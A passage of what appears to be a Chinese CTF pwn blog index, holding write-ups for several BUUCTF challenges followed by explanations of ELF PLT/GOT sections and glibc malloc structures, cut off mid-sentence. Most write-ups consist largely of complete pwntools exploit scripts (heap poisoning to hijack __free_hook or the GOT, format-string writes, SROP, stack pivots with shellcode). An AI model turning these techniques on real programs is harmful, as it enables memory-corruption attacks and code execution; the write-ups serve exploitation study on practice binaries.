p.recvuntil(b\u0026#39;\\n\u0026#39;) heap3_addr = u64(p.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) log.info(f\u0026#39;heap3_addr = {hex(heap3_addr)}\u0026#39;) pwrite(heap3_addr // 0x1000 * 0x1000 + 0x10 + 0x2 * 7, p64(7)) padd(4, 0x28, b\u0026#39;A\u0026#39; * 0x20 + p64(0x30)) padd(5, 0x70, b\u0026#39;\u0026#39;) pwrite(heap3_addr + 0x28 + 6 * 0x30, p64(0x91)) pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90, p64(0x21)) pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90 - 8, p64(0x90)) pdelete(5) pread(heap3_addr + 0x28 + 6 * 0x30 + 0x8) p.recvuntil(b\u0026#39;\\n\u0026#39;) bins0_addr = u64(p.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) log.info(f\u0026#39;bins0_addr = {hex(bins0_addr)}\u0026#39;) libc_addr = bins0_addr - 0x1cabe0 log.info(f\u0026#39;libc_addr = {hex(libc_addr)}\u0026#39;) __free_hook_addr = libc_addr + 0x1cce48 log.info(f\u0026#39;__free_hook_addr = {hex(__free_hook_addr)}\u0026#39;) system_addr = libc_addr + 0x30290 log.info(f\u0026#39;system_addr = {hex(system_addr)}\u0026#39;) pwrite(heap3_addr, b\u0026#39;/bin/sh\\x00\u0026#39;) pwrite(__free_hook_addr, p64(system_addr)) pdelete(4) p.interactive() attack() ","date":"2026-01-16T21:49:00Z","image":"https://pic.ratherhard.com/random/rd2.png","permalink":"/post/ctf-pwn/buuctf/newstarctf-2023-ezheap/","title":"BUUCTF-NewStarCTF-2023-ezheap 题解"},{"content":"题目 题目链接\nchecksec IDA main 菜单题\nmenu create delete edit 有明显的堆溢出，考虑通过 fastbin 获取在 heaparray 附近的 fake chunk ，再劫持 heaparray 以实现任意地址写\ngot systemplt 构造合适位置的 fake chunk 0x6020ad 处有满足 size = 0x7f 的 fake chunk ，故申请 0x68 字节，使用 0x70 的 fastbin 链表\n攻击思路 先利用堆溢出漏洞劫持已进入 fastbin 的 chunk 的 fd 指针为 fake chunk 地址 0x6020ad\n再通过 malloc 申请这块 fake chunk ，同时在 fake chunk 写入 payload 劫持 heaparray[0]\n由于我们希望通过 system(\u0026quot;/bin/sh\u0026quot;) 提权，然而 elf 中并没有 \u0026ldquo;/bin/sh\u0026rdquo; 字符串，这需要我们手动写入\n更坏的是，我们似乎并没有操纵栈的机会，只能通过劫持 got 表短暂地劫持程序流程，，，\n所以这里有一个巧妙的方法：注意到 system 的参数为 rdi ，所以我们可以把 free 劫持为 system_plt ，由于 free 的参数是我们自己可以设定的，通过在某个索引为 idx 的 chunk 上写入 \u0026ldquo;/bin/sh\\x00\u0026rdquo; ，调用 delete_heap(idx) 后即可执行 system(\u0026quot;/bin/sh\u0026quot;) 提权\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: p = process(\u0026#39;./easyheap\u0026#39;) else: p = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 26200) def pcreate(size, content): p.recvuntil(b\u0026#39;choice :\u0026#39;) p.sendline(b\u0026#39;1\u0026#39;) p.recvuntil(b\u0026#39;Heap : \u0026#39;) p.sendline(str(size).encode()) p.recvuntil(b\u0026#39;heap:\u0026#39;) p.sendline(content) def pedit(index, size, content): p.recvuntil(b\u0026#39;choice :\u0026#39;) p.sendline(b\u0026#39;2\u0026#39;) p.recvuntil(b\u0026#39;Index :\u0026#39;) p.sendline(str(index).encode()) p.recvuntil(b\u0026#39;Heap : \u0026#39;) p.sendline(str(size).encode()) p.recvuntil(b\u0026#39;heap : \u0026#39;) p.sendline(content) def pdelete(index): p.recvuntil(b\u0026#39;choice :\u0026#39;) p.sendline(b\u0026#39;3\u0026#39;) p.recvuntil(b\u0026#39;Index :\u0026#39;) p.sendline(str(index).encode()) def attack(): pcreate(0x68, b\u0026#39;\u0026#39;) pcreate(0x68, b\u0026#39;\u0026#39;) pcreate(0x68, b\u0026#39;\u0026#39;) pdelete(2) payload = b\u0026#39;A\u0026#39; * 0x68 + p64(0x7f) + p64(0x6020ad) pedit(1, len(payload), payload) pcreate(0x68, b\u0026#39;\u0026#39;) payload = b\u0026#39;A\u0026#39; * 35 + p64(0x602018) pcreate(0x68, payload) payload = p64(0x400700) pedit(0, len(payload), payload) payload = b\u0026#39;/bin/sh\\x00\u0026#39; pedit(1, len(payload), payload) pdelete(1) p.interactive() attack() ","date":"2026-01-13T23:47:00Z","image":"https://pic.ratherhard.com/random/rd1.png","permalink":"/post/ctf-pwn/buuctf/zjctf-2019-easyheap/","title":"BUUCTF-ZJCTF-2019-EasyHeap 题解"},{"content":"题目 题目链接\nchecksec 有 canary 保护\nIDA 有沙箱，考虑 orw\n可利用格式化字符串漏洞泄露 canary\n然后发现 mmap 开了一个 rwx 区域\n考虑栈迁移和 ret2shellcode\n我们可以在第一次溢出时迁移 rbp 并再次调用溢出漏洞，然后由于 buf 的写入是以 rbp 为基准的，所以在第二次溢出时栈已迁移，可以直接在 rwx 段上布局 shellcode 实现 orw\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; elf = ELF(\u0026#39;ezorw\u0026#39;) io = process(\u0026#39;./ezorw\u0026#39;) fmt = b\u0026#39;%11$p\u0026#39; io.recvuntil(b\u0026#39;sandbox\\n\u0026#39;) io.sendline(fmt) canary = p64(int(io.recv(18), 16)) log.info(f\u0026#39;canary = {hex(u64(canary))}\u0026#39;) io.recvuntil(b\u0026#39;now\\n\u0026#39;) rbp_addr = p64(0x66660000 + 0x100) rsp_s_rip_addr = p64(0x66660000 + 0x100 + 0x10) read_addr = p64(0x401373) padding = 40 payload = b\u0026#39;A\u0026#39; * padding + canary + rbp_addr + read_addr io.sendline(payload) shellcode = \u0026#39;\u0026#39; shellcode += shellcraft.open(\u0026#39;./flag\u0026#39;) shellcode += shellcraft.read(\u0026#39;rax\u0026#39;, \u0026#39;rsp\u0026#39;, 0x100) shellcode += shellcraft.write(1, \u0026#39;rsp\u0026#39;, 0x100) payload = b\u0026#39;A\u0026#39; * padding + canary + rbp_addr + rsp_s_rip_addr + asm(shellcode) io.recvuntil(b\u0026#39;now\\n\u0026#39;) io.sendline(payload) all_output = io.recvall(timeout=5) log.info(all_output.decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;)) ","date":"2026-01-12T11:40:00Z","image":"https://pic.ratherhard.com/random/rd2.png","permalink":"/post/ctf-pwn/buuctf/newstarctf-2023-orwrop/","title":"BUUCTF-NewStarCTF-2023-orwrop 题解"},{"content":"题目 题目链接\nchecksec IDA csu 中有 call [r12 + rbx*8] ，令 r12 为指向 backdoor 地址的一个地址即 gift3 ， rbp 为 0 即可调用 backdoor\n根据 execve 的参数定义，令 rdi -\u0026gt; \u0026ldquo;/bin/cat\\x00\u0026rdquo; 即 rdi = aBinCat , rsi = gift2 , rdx = 0 再调用 backdoor 即可\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; io = process(\u0026#39;./ret2csu1\u0026#39;) csu1 = p64(0x40072A) csu2 = p64(0x400710) rdi = p64(0x4007BB) rsi = p64(0x601050) backdoor = p64(0x601068) padding = 32 + 8 payload = b\u0026#39;A\u0026#39; * padding + csu1 + p64(0) + p64(1) + backdoor + rdi + rsi + p64(0) + csu2 io.recvuntil(b\u0026#39;it!\\n\u0026#39;) io.sendline(payload) io.interactive() ","date":"2026-01-12T11:10:00Z","image":"https://pic.ratherhard.com/random/rd1.png","permalink":"/post/ctf-pwn/buuctf/newstarctf-ret2csu1/","title":"BUUCTF-NewStarCTF-ret2csu1 题解"},{"content":"题目 题目链接\nchecksec IDA 利用格式化字符串漏洞篡改 x 为 4 即可，注意这里是 32 位\nexp 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;i386\u0026#39; p = process(\u0026#39;./fm\u0026#39;) x_addr = p32(0x804A02C) payload = x_addr + b\u0026#39;%11$n\u0026#39; p.sendline(payload) p.interactive() ","date":"2026-01-12T10:23:00Z","image":"https://pic.ratherhard.com/random/rd2.png","permalink":"/post/ctf-pwn/buuctf/jarvisoj_fm/","title":"BUUCTF-jarvisoj_fm 题解"},{"content":"题目 题目链接\nchecksec IDA 有一个利用 v13 越界的漏洞，直接劫持返回地址到后门即可\nbackdoor exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * context.log_level = \u0026#34;debug\u0026#34; context.arch = \u0026#34;i386\u0026#34; io = process(\u0026#34;./stack2\u0026#34;) io.recvuntil(b\u0026#34;have:\\n\u0026#34;) io.sendline(b\u0026#39;1\u0026#39;) io.recvuntil(b\u0026#34;numbers\\n\u0026#34;) io.sendline(b\u0026#39;1\u0026#39;) io.recvuntil(b\u0026#34;exit\\n\u0026#34;) io.sendline(b\u0026#39;3\u0026#39;) io.recvuntil(b\u0026#34;change:\\n\u0026#34;) io.sendline(b\u0026#39;132\u0026#39;) io.recvuntil(b\u0026#34;number:\\n\u0026#34;) io.sendline(b\u0026#34;155\u0026#34;) io.recvuntil(b\u0026#34;exit\\n\u0026#34;) io.sendline(b\u0026#39;3\u0026#39;) io.recvuntil(b\u0026#34;change:\\n\u0026#34;) io.sendline(b\u0026#39;133\u0026#39;) io.recvuntil(b\u0026#34;number:\\n\u0026#34;) io.sendline(b\u0026#34;133\u0026#34;) io.recvuntil(b\u0026#34;exit\\n\u0026#34;) io.sendline(b\u0026#39;3\u0026#39;) io.recvuntil(b\u0026#34;change:\\n\u0026#34;) io.sendline(b\u0026#39;134\u0026#39;) io.recvuntil(b\u0026#34;number:\\n\u0026#34;) io.sendline(b\u0026#34;4\u0026#34;) io.recvuntil(b\u0026#34;exit\\n\u0026#34;) io.sendline(b\u0026#39;3\u0026#39;) io.recvuntil(b\u0026#34;change:\\n\u0026#34;) io.sendline(b\u0026#39;135\u0026#39;) io.recvuntil(b\u0026#34;number:\\n\u0026#34;) io.sendline(b\u0026#34;8\u0026#34;) io.recvuntil(b\u0026#34;exit\\n\u0026#34;) io.sendline(b\u0026#39;5\u0026#39;) io.interactive() ","date":"2026-01-12T09:58:00Z","image":"https://pic.ratherhard.com/random/rd1.png","permalink":"/post/ctf-pwn/buuctf/qctf2018_stack2/","title":"BUUCTF-qctf2018_stack2 题解"},{"content":"题目 题目链接\nchecksec vmmap 注意到 0x402000 开始有 rw 权限，在没法泄露栈地址时考虑栈迁移到上面\nIDA 代码很简洁，有一个栈溢出漏洞，且有 pop rax; syscall; leave; retn; gadget ，很方便进行 srop\n思路 考虑利用 srop 与栈迁移，在 0x402000 处布局栈：\n1 2 3 4 5 6 7 +-------------------+ | ret2gadget | 0x402010 (rsp) +-------------------+ | rbp | 0x402008 +-------------------+ | \u0026#34;/bin/sh\\x00\u0026#34; | 0x402000 +-------------------+ 利用 gadget 调用 execve syscall 即可\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import * elf = ELF(\u0026#34;./srop\u0026#34;) context.clear() context.arch = \u0026#34;amd64\u0026#34; context.log_level = \u0026#39;debug\u0026#39; io = process(\u0026#34;./srop\u0026#34;) pop_rax_syscall_leave_retn = 0x401032 syscall_leave_retn = 0x401033 frame1 = SigreturnFrame(kernel=\u0026#34;amd64\u0026#34;) frame1.rax = 0 frame1.rdi = 0 frame1.rsi = 0x402000 frame1.rdx = 0x400 frame1.rip = syscall_leave_retn frame1.rbp = 0x402008 frame1.rsp = 0x402010 rax = p64(0xf) payload1 = b\u0026#34;A\u0026#34; * (0x80 + 8) + p64(pop_rax_syscall_leave_retn) + rax + bytes(frame1) io.recvuntil(b\u0026#39;CTF?\\n\u0026#39;) io.sendline(payload1) path = b\u0026#34;/bin/sh\\x00\u0026#34; frame2 = SigreturnFrame(kernel=\u0026#34;amd64\u0026#34;) frame2.rax = 59 frame2.rdi = 0x402000 frame2.rsi = 0 frame2.rdx = 0 frame2.rip = syscall_leave_retn payload2 = path + p64(0x402008) + p64(pop_rax_syscall_leave_retn) + rax + bytes(frame2) io.sendline(payload2) io.interactive() ","date":"2026-01-12T09:32:00Z","image":"https://pic.ratherhard.com/random/rd1.png","permalink":"/post/ctf-pwn/buuctf/rootersctf_2019_srop/","title":"BUUCTF-rootersctf_2019_srop 题解"},{"content":"在 Linux ELF 文件和动态链接机制中，这四个段（Section）共同协作，实现了位置无关代码（PIC）和延迟绑定（Lazy Binding）。\n虽然它们名字很像，但功能和权限有着本质区别。我们可以将其分为两类：PLT 类（代码/执行） 和 GOT 类（数据/读写）。\n1. .plt (Procedure Linkage Table - 过程链接表) 属性：代码段（权限：读取+执行 R-X）。 作用：它包含了一系列小的可执行代码片段（Stub）。 功能：当程序调用一个外部函数（如 printf）时，它实际上并不是直接跳到 printf 的地址（因为在编译阶段不知道地址），而是跳到 .plt 段中对应的条目。 内容： 第一项是特殊项，负责调用动态链接器的符号解析函数。 后续每一项对应一个外部函数，代码逻辑通常是：jmp *(.got.plt中的对应项)。 2. .got (Global Offset Table - 全局偏移表) 属性：数据段（权限：读取+写入 RW-）。 作用：用于存储全局变量的绝对地址。 功能：程序在引用全局变量时，会先到 .got 中查找该变量的真实地址。 为什么需要：为了实现位置无关代码（PIC），代码段不包含变量的绝对地址，只包含到 .got 的相对偏移。动态链接器在程序启动时会将变量的真实地址填入 .got。 3. .got.plt (GOT 的 PLT 部分) 属性：数据段（权限：读取+写入 RW-，但在 Full RELRO 下为 R--）。 作用：它是 .got 的一个子集，专门用于存储外部函数的绝对地址。 与 .plt 的配合： 在延迟绑定（Lazy Binding）模式下：.got.plt 的初始内容指向 .plt 中的下一条指令（即“跳回 PLT”）。当函数第一次被调用时，动态链接器解析出真实地址并覆盖掉这个值。 在第二次调用时：.plt 里的 jmp 就会直接跳到 .got.plt 中存储的真实地址，不再进入链接器。 特殊项：前三项通常预留给动态链接器的私有信息（如 link_map 结构和 _dl_runtime_resolve 函数地址）。 4. .plt.got (专门的 PLT 跳转表) 属性：代码段（权限：读取+执行 R-X）。 作用：这是一个特殊的 .plt 段，通常用于非延迟绑定的情况，或者用于处理某些特定的重定位类型（如通过 R_X86_64_GLOB_DAT 重定位的函数指针）。 区别： 标准的 .plt 条目通常包含三个动作：跳转到 GOT、压栈索引、跳到解析器。 .plt.got 条目通常直接跳转到 .got（而不是 .got.plt）中存储的地址，不包含延迟绑定的逻辑（没有压栈和解析器的跳转）。它通常出现在启用了 -z now（Full RELRO）或编译器优化后的二进制文件中。 总结与对比 段名称 类型 权限 存储内容 核心目的 .plt 代码 R-X 跳转代码片段 (Stubs) 函数调用的中转站，触发延迟绑定 .plt.got 代码 R-X 直接跳转代码 跳过延迟绑定逻辑，直接跳转到 GOT 地址 .got 数据 RW- 全局变量的绝对地址 变量引用的位置无关化 .got.plt 数据 RW- 外部函数的绝对地址 配合 .plt 实现函数的延迟绑定 协作流程演示（以延迟绑定为例）： Call printf@plt：程序跳转到 .plt 中 printf 对应的条目。 Jmp to .got.plt：.plt 里的第一条指令跳转到 .got.plt 记录的地址。 第一次调用：.got.plt 填的是 .plt 的下一行。 Resolve：.plt 剩下的代码调用动态链接器，找到 printf 的真实地址。 Update：动态链接器将 printf 的真实地址写回 .got.plt。 Subsequent Calls：下次再调 printf@plt 时，第 2 步的 Jmp 会直接跳到 printf 的真实地址。 为什么现在的安全保护（RELRO）会影响这些段？ Partial RELRO：.got.plt 是可写的。攻击者可以利用堆栈溢出覆盖 .got.plt 的条目，将 printf 改为 system，从而实现 GOT Hijacking。 Full RELRO：动态链接器在程序启动时就把所有函数解析完毕，并将 .got.plt 设为只读。此时，.plt.got 的作用就会变得更明显，因为不再需要延迟绑定逻辑了。 ","date":"2025-12-29T14:29:00Z","image":"https://pic.ratherhard.com/random/rd4.png","permalink":"/post/ctf-pwn/plt-and-got/","title":"plt 和 got"},{"content":"重要结构 常数速查 以 64 位为准\n1 2 3 4 5 6 7 8 9 10 SIZE_SZ 8 MALLOC_ALIGNMENT 16 MALLOC_ALIGN_MASK 0b1111 MINSIZE 32 TCACHE_MAX_BINS 64 TCACHE_FILL_COUNT 7 CHUNK_HDR_SZ 16 SMALLBIN_WIDTH 16 SMALLBIN_CORRECTION 0 MIN_LARGE_SIZE 1024 chunk chunk 是内存分配的基本单位，它其实是一个内存块。chunk 被分配 (malloc) 后能够存储用户数据，空闲时 (free) 能够插入 bin 中，随时做好被分配的准备。\n程序向操作系统申请一块连续的堆区域后，该块区域整体初始化为一个 top chunk ，第一次 malloc 的操作可以理解为从 top chunk 中分割出一块内存供程序使用。\n我们把 chunk 划分为两个部分： chunk_header 和 chunk_content\n1 2 3 4 5 6 7 8 9 +--------------------+ 低地址 | chunk_header | +--------------------+ | | | | | chunk_content | | | | | +--------------------+ 高地址 下面的 malloc_chunk 中的 mchunk_prev_size 和 mchunk_size 即 chunk_header\nmalloc_chunk 结构体 1 2 3 4 5 6 7 8 9 10 11 12 struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; 主要字段说明如下：\nmchunk_prev_size ：8 字节，简称 prev_size，表示前一个 chunk 的大小。 mchunk_size ：8 字节，简称 size ，表示当前 chunk 的大小。size 的低 3 位是标志位，3 个标志说明如下： PREV_INUSE ( P 位)：最低位，表示前一个 chunk 是否在某个 bin 中，0 表示前一个 chunk 在某个 bin 中，1 表示前一个 chunk 不在任何 bin 中。 IS_MMAPPED ( M 位)：第二低位，表示当前 chunk 是否通过 mmap 分配， 1 是 0 否。若 M 位为 1 ，则忽略 A 位和 P 位。 NON_MAIN_ARENA ( A 位)：第三低位，表示当前 chunk 是否属于主线程的分配区（ malloc_state ）， 0 是 1 否。 fd ：8 字节，指向下一个（先进入链表）空闲 chunk 的指针。这个字段仅在当前 chunk 是空闲时有效。如果当前 chunk 已分配，那么fd字段被复用为可用内存（ 8 字节）。 bk ：指向前一个（后进入链表）空闲 chunk 的指针。该字段和fd功能类似。 fd_nextsize ：8 字节，largebins 中指向下一个（先进入链表）比当前 chunk 小的空闲 chunk 。用于 largebins 快速查找不同大小的空闲 chunk ，提高分配效率，如果当前 chunk 是已分配的，那么 fd_nextsize 字段被复用为可用内存（ 8 字节）。 bk_nextsize ：8 字节，largebins 中指向前一个（后进入链表）比当前 chunk 大的空闲 chunk ，和 fd_nextsize 功能类似。 malloc_state 结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; }; struct malloc_state 是 glibc 内存分配器的核心数据结构，通常被称为 Arena 。它保存了一个分配区的所有元数据、空闲链表状态以及统计信息。\n以下是对其所有成员的深度解析：\n1. 并发控制与标志\n__libc_lock_define (, mutex);\n用途：互斥锁。 解析：由于多个线程可能共享同一个 Arena，在进行分配或释放操作（修改 Bins 链表等）之前，线程必须先获取这把锁。主分配区和线程分配区都靠它实现线程安全。 int flags;\n用途：分配区状态标志。 解析：存储一些底层状态。最重要的是 CONTIGUOUS_BIT (0x2) ，用于标记该 Arena 管理的内存空间是否是连续的（主分配区通常是连续的，通过 brk 扩展；非主分配区由多个 mmap 堆组成，可能不连续）。 int have_fastchunks;\n用途：快速标记 fastbins 是否为空。 解析：这是一个布尔优化的标志。当有块进入 fastbin 时设为 1。在 malloc 的某些路径（如 malloc_consolidate ）中，它会先检查这个位，如果是 0 就直接跳过，从而节省扫描整个 fastbinsY 数组的时间。 2. 核心堆块容器 (Bins)\nmfastbinptr fastbinsY[NFASTBINS];\n用途：Fastbins 链表数组。 解析：专门处理小内存块（默认 64 位下 16~128 字节）的单向链表。Fastbin 中的块不会被合并（除非触发 consolidate），因此分配速度极快。NFASTBINS 通常为 10。 mchunkptr top;\n用途：Top Chunk 指针。 解析：指向当前 Arena 中位置最高、也是最后一块待分配的大内存区域。当所有的 Bins（Fast, Small, Large, Unsorted）都无法满足分配需求时，malloc 会从 Top Chunk 中“切”出一块内存。如果 Top Chunk 也不够，则会调用 sbrk 或 mmap 向系统申请。 mchunkptr last_remainder;\n用途：Last Remainder Chunk。 解析：这是一种特殊优化。当分配一个 Small Chunk，而 Unsorted Bin 中只有一块较大的空闲块时，大块会被分割，剩下的部分就存放在 last_remainder。这样可以提高局部性，即连续的小分配请求更有可能来自同一物理区域。 mchunkptr bins[NBINS * 2 - 2];\n用途：普通 Bins 数组（Unsorted, Small, Large）。 解析：这是 malloc 的主要仓库。 它是双向链表。 bins[0] 不使用，bins[1] 是 Unsorted Bin（最近释放且未分类的块）。 后续是 Small Bins（固定大小）和 Large Bins（范围大小）。 为什么是 * 2？因为每个 bin 需要一对 fd（前驱）和 bk（后继）指针来表示链表头。 3. 查询优化\nunsigned int binmap[BINMAPSIZE]; 用途：Bins 位图。 解析：为了快速定位哪个 bin 里有空闲内存。位图中的每一位对应 bins 数组中的一个 bin。malloc 使用位运算指令（如 ffs ）快速找到非空的 bin，而不需要遍历 126 个 bin。 4. 链表结构与统计\nstruct malloc_state *next;\n用途：全局 Arena 链表。 解析：所有的 Arena 都通过这个指针连成一串。main_arena 位于链表首部。当线程找不到可用 Arena 时，会沿着这个指针寻找。 struct malloc_state *next_free;\n用途：空闲 Arena 链表。 解析：当一个线程退出时，它绑定的 Arena 会被放入这个“空闲链表”，以便下一个新创建的线程复用。 INTERNAL_SIZE_T attached_threads;\n用途：引用计数。 解析：统计当前有多少个线程正在使用（绑定）这个 Arena。这有助于 glibc 决定是否需要创建新的 Arena 来降低竞争。 INTERNAL_SIZE_T system_mem;\n用途：当前分配区占用的系统内存总量。 解析：记录了从操作系统（brk/mmap）拿到的总字节数。 INTERNAL_SIZE_T max_system_mem;\n用途：历史峰值内存。 解析：记录 system_mem 曾达到的最大值。 malloc_par 结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 struct malloc_par { /* Tunable parameters */ unsigned long trim_threshold; INTERNAL_SIZE_T top_pad; INTERNAL_SIZE_T mmap_threshold; INTERNAL_SIZE_T arena_test; INTERNAL_SIZE_T arena_max; #if HAVE_TUNABLES /* Transparent Large Page support. */ INTERNAL_SIZE_T thp_pagesize; /* A value different than 0 means to align mmap allocation to hp_pagesize add hp_flags on flags. */ INTERNAL_SIZE_T hp_pagesize; int hp_flags; #endif /* Memory map support */ int n_mmaps; int n_mmaps_max; int max_n_mmaps; /* the mmap_threshold is dynamic, until the user sets it manually, at which point we need to disable any dynamic behavior. */ int no_dyn_threshold; /* Statistics */ INTERNAL_SIZE_T mmapped_mem; INTERNAL_SIZE_T max_mmapped_mem; /* First address handed out by MORECORE/sbrk. */ char *sbrk_base; #if USE_TCACHE /* Maximum number of buckets to use. */ size_t tcache_bins; size_t tcache_max_bytes; /* Maximum number of chunks in each bucket. */ size_t tcache_count; /* Maximum number of chunks to remove from the unsorted list, which aren\u0026#39;t used to prefill the cache. */ size_t tcache_unsorted_limit; #endif }; struct malloc_par（通常在源码中以全局变量 mp_ 形式存在）是 glibc 内存分配器的全局配置参数表。\n与 malloc_state（管理具体的内存块）不同，malloc_par 负责控制分配器的整体行为策略（如：什么时候用 mmap 而不是 sbrk ？ Tcache 的限制是多少？）。\n以下是所有成员的分块解析：\n1. 核心可调参数 (Tunables) 这些参数直接影响分配器的性能和内存碎片控制：\nunsigned long trim_threshold; 用途：收缩阈值。 解析：当 top chunk 的大小超过这个值时，malloc 会尝试调用 malloc_trim 将空闲内存归还给操作系统。默认通常为 128KB。 INTERNAL_SIZE_T top_pad; 用途：堆顶填充。 解析：每次通过 sbrk 扩展堆时，会额外申请这么多的空间，以减少未来频繁调用系统调用的次数。 INTERNAL_SIZE_T mmap_threshold; 用途：mmap 阈值（非常关键）。 解析：当申请的字节数大于此值时，malloc 不从堆分配，而是直接调用 mmap。这有助于防止大块内存产生的空洞阻塞堆的收缩。 INTERNAL_SIZE_T arena_test; 用途：Arena 冲突检测阈值。 解析：用于决定何时创建新 Arena。在 64 位系统上，通常在 CPU 核心数较多时，以此为参考动态增加 Arena 数量。 INTERNAL_SIZE_T arena_max; 用途：Arena 最大数量限制。 解析：限制进程可以创建的 Arena 总数（通常 64 位下为 8 * 核心数 ）。防止 Arena 过多导致内存浪费。 2. 大页内存支持 (Large Pages)\nINTERNAL_SIZE_T thp_pagesize;：透明大页（Transparent Large Pages）的大小。 INTERNAL_SIZE_T hp_pagesize;：显式大页（Huge Pages）的大小。 int hp_flags;：调用 mmap 时传递给内核的大页标志位（如 MAP_HUGETLB ）。 3. Mmap 状态与动态阈值\nint n_mmaps;：当前正在使用的通过 mmap 分配的块的数量。 int n_mmaps_max;：历史上同时存在的 mmap 块的最大数量。 int max_n_mmaps;：允许的 mmap 块的最大数量限制。 int no_dyn_threshold; 解析：glibc 默认会动态调整 mmap_threshold（根据已释放的块大小自动调优）。如果用户通过 mallopt 手动设置了阈值，该变量会置 1，关闭自动调整逻辑。 4. 统计信息\nINTERNAL_SIZE_T mmapped_mem;：当前通过 mmap 分配的内存总字节数。 INTERNAL_SIZE_T max_mmapped_mem;：历史上 mmapped_mem 达到的峰值。 5. 堆基址\nchar *sbrk_base; 解析：程序第一次调用 sbrk 时返回的地址。它标记了主堆区域的起始位置，用于判断某个指针是否属于主堆。 6. Tcache 机制参数\nsize_t tcache_bins; 解析：Tcache 链表的数量。默认是 64。 size_t tcache_max_bytes; 解析：Tcache 能够容纳的最大块大小。默认通常是 1032 字节（64位）。超过此大小的 free 块不会进入 Tcache。 size_t tcache_count; 解析：每个 Tcache Bin 存放块的数量限制。默认是 7。如果某个 size 的 Tcache 已经有 7 个块了，再 free 的块就会进入 Fastbin 或 Unsorted Bin。 size_t tcache_unsorted_limit; 解析：当从 Unsorted Bin 批量取块填补 Tcache 时的数量限制。防止单次分配在整理链表上耗时过长。 main_arena 配置 1 2 3 4 5 6 7 8 9 10 11 12 /* There are several instances of this struct (\u0026#34;arenas\u0026#34;) in this malloc. If you are adapting this malloc in a way that does NOT use a static or mmapped malloc_state, you MUST explicitly zero-fill it before using. This malloc relies on the property that malloc_state is initialized to all zeroes (as is true of C statics). */ static struct malloc_state main_arena = { .mutex = _LIBC_LOCK_INITIALIZER, .next = \u0026amp;main_arena, .attached_threads = 1 }; main_arena 存在于 libc.so 的数据段，地址是固定的；而 Thread Arena 是动态 mmap 出来的，它是唯一一个在 main() 函数执行前就已经存在的分配区，且它是整个分配区循环链表的头结点。\nmp_ 配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /* There is only one instance of the malloc parameters. */ static struct malloc_par mp_ = { .top_pad = DEFAULT_TOP_PAD, .n_mmaps_max = DEFAULT_MMAP_MAX, .mmap_threshold = DEFAULT_MMAP_THRESHOLD, .trim_threshold = DEFAULT_TRIM_THRESHOLD, #define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8)) .arena_test = NARENAS_FROM_NCORES (1) #if USE_TCACHE , .tcache_count = TCACHE_FILL_COUNT, .tcache_bins = TCACHE_MAX_BINS, .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1), .tcache_unsorted_limit = 0 /* No limit. */ #endif }; 如果说 main_arena 是堆管理的“执行者”，那么 mp_ 就是“策略制定者”。它定义了分配器在全局范围内如何与操作系统交互。\n1. 堆扩展与收缩策略\n.top_pad = DEFAULT_TOP_PAD 默认值：通常为 0。 作用：当 malloc 通过 sbrk 增加堆空间时，额外申请的“填充”大小。虽然默认为 